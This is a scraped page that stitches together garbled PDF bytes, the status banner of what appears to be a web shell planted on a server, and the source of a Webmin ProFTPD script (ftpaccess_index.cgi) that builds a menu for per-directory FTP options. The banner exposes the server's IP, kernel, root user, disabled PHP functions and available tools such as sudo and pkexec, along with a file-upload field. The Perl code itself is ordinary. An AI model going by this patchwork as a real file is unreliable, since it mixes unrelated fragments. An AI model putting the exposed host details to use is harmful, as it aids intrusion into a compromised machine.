%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
| Server IP : 14.207.165.8 / Your IP : 216.73.216.101 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/thread-self/root/usr/share/webmin/proftpd/ |
Upload File : |
#!/usr/bin/perl
# ftpaccess_index.cgi
# Display a menu of icons for a per-directory options file
require './proftpd-lib.pl';
&ReadParse();
$conf = &get_ftpaccess_config($in{'file'});
$desc = "<tt>".&html_escape($in{'file'})."</tt>";
&ui_print_header($desc, $text{'ftpindex_title'}, "",
undef, undef, undef, undef, "<a href=\"delete_ftpaccess.cgi?file=".
&urlize($in{'file'})."\">$text{'ftpindex_delete'}</a>".
"<br>".&restart_button());
print "<h3>$text{'ftpindex_opts'}</h3>\n";
# Add user permissions icon/link
$userperms_icon = { "icon" => "images/type_icon_3.gif",
"name" => "User Permissions",
"link" => "userpermissions_form.cgi?file=$in{'file'}" };
# Add 'edit as text' icon/link
$ed_icon = { "icon" => "images/edit.gif",
"name" => $text{'ftpindex_edit'},
"link" => "manual_form.cgi?file=$in{'file'}" };
&config_icons("ftpaccess", "edit_ftpaccess.cgi?file=$in{'file'}&", $ed_icon, $userperms_icon);
@limit = ( &find_directive_struct("Limit", $conf) );
if (@limit) {
# Limit sub-directives
print &ui_hr();
print "<h3>$text{'ftpindex_limit'}</h3>\n";
foreach $l (@limit) {
push(@links, "limit_index.cgi?limit=".&indexof($l, @$conf).
"&file=$in{'file'}");
push(@titles, $l->{'value'});
push(@icons, "images/limit.gif");
}
&icons_table(\@links, \@titles, \@icons, 3);
}
print &ui_form_start("create_limit.cgi");
print &ui_table_start($text{'ftpindex_addlimit'}, undef, 2);
print &ui_table_row($text{'ftpindex_cmds'},
&ui_textbox("cmd", undef, 40));
print &ui_table_end();
print &ui_form_end([ [ undef, $text{'create'} ] ]);
&ui_print_footer("ftpaccess.cgi", $text{'ftpaccess_return'},
"", $text{'index_return'});